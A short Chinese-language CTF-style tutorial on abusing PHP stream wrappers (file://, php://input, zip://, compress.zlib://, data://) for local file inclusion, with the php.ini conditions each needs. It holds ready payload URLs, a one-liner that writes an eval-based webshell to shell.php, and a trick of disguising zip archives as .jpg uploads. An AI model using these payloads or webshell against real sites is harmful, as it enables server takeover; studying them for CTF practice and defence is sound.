PHP伪协议
一.【file://协议】
allow_url_fopen=Off
allow_url_include=Off
file:// [文件的绝对路径和文件名]
http://localhost/cmd.php?file=file://D:/1.txt
二.【php://协议】
php://协议不需要开启allow_url_fopen,仅仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是
php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码
php://file读取源代码需要进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容
allow_url_fopen=Off
allow_url_include=Off
php://input可以访问请求的原始数据的只读流,将post请求中的数据作个PHP代码
allow_url_fopen=Off/On
allow_url_include=On
http://localhost/cmd.php?file=php://input
[POST DATA]<?php phpinfo()?>
也可以通过写入一句话木马<?php fputs(fopen("shell.php","w"),'<?php eval($_POST[isns]);?>');?>
三.【zip://, bzip2://, zlib://协议】
zip://、bzip2://、zlib://协议在双off的情况下可正常使用;都属于压缩流,可以访问压缩文件中的子文件,不需要指定后缀名
allow_url_fopen=Off/On
allow_url_include=On
zip://archive.zip#dir/file.txt
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
http://localhost/cmd.php?file=zip://D:/phpstudy_pro/WWW/shell.zip%23shell.txt
http://localhost/cmd.php?file=zip://D:/phpstudy_pro/www/shell.jpg%23shell.txt
由于#在get请求中会将后面的参数忽略所以使用get请求的时候进行url编码#(%23)这里只能使用绝对路径
先将要执行的PHP代码写好文件名shell.txt,然后将shell.txt进行zip压缩文件名shell.zip
如果可以上传zip文件即可直接上传,若不能上传将后缀名修改wei.jpg后删除更换,其他几种压缩格式也可以
使用方法
compress.bzip2://file.bz2
http://localhost/cmd.php?file=compress.zlib://./get.jpg
http://localhost/cmd.php?file=compress.zlib://D:/phpstudy_pro/WWW/get.jpg
使用方法
compress.zlib://file.gz
http://localhost/cmd.php?file=compress.zlib://D:/phpstudy_pro/WWW/get.jpg
http://localhost/cmd.php?file=compress.zlib://./get.jpg
四.【data://协议】
data://协议在PHP版本5.2、5.3、5.5/7.0是受限于allow_url_fopen的。data://协议需要满足双On条件的
allow_url_fopen=On
allow_url_include=On
http://localhost/cmd.php?file=data://text/plain,<?php phpinfo()?>
http://localhost/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
评论区